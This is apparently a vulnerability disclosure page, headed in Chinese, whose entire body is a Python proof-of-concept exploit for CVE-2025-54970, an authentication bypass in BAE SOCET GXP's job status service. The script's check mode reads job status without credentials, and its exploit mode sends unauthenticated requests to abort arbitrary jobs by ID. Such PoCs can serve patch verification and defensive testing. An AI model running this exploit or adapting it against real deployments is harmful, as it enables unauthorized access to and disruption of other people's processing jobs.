CVE-2025-54970: BAE SOCET GXP Job Status Service 认证绕过漏洞

import requests import sys # CVE-2025-54970 PoC - BAE SOCET GXP Job Status Service Authentication Bypass # Target: BAE SOCET GXP < 4.6.0.2 # Attack Type: Authentication Bypass leading to Unauthorized Job Access TARGET_HOST = "http://target-socet-gxp-server" JOB_STATUS_ENDPOINT = f"{TARGET_HOST}/api/job/status" JOB_ABORT_ENDPOINT = f"{TARGET_HOST}/api/job/abort" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-54970""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/json' } # Attempt to read job status without authentication try: response = requests.get(JOB_STATUS_ENDPOINT, headers=headers, timeout=10) if response.status_code == 200: print(f"[!] Target is VULNERABLE - Job Status accessible without auth") print(f"[*] Response: {response.text[:200]}") return True elif response.status_code == 401 or response.status_code == 403: print(f"[*] Target appears PATCHED - Auth required for job status") return False else: print(f"[*] Unexpected response: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def exploit_job_abort(job_id): """Exploit authentication bypass to abort jobs without permission""" headers = { 'User-Agent': 'Mozilla/5.0', 'Content-Type': 'application/json' } data = {'job_id': job_id} try: response = requests.post(JOB_ABORT_ENDPOINT, json=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[!] Successfully aborted job {job_id} without authorization") return True else: print(f"[*] Job abort failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Exploit failed: {e}") return False if __name__ == "__main__": print("CVE-2025-54970 PoC - BAE SOCET GXP Job Status Service Auth Bypass") print("=" * 70) if len(sys.argv) > 1: if sys.argv[1] == "check": check_vulnerability() elif sys.argv[1] == "exploit" and len(sys.argv) > 2: exploit_job_abort(sys.argv[2]) else: print("Usage:") print(" python cve-2025-54970.py check") print(" python cve-2025-54970.py exploit <job_id>")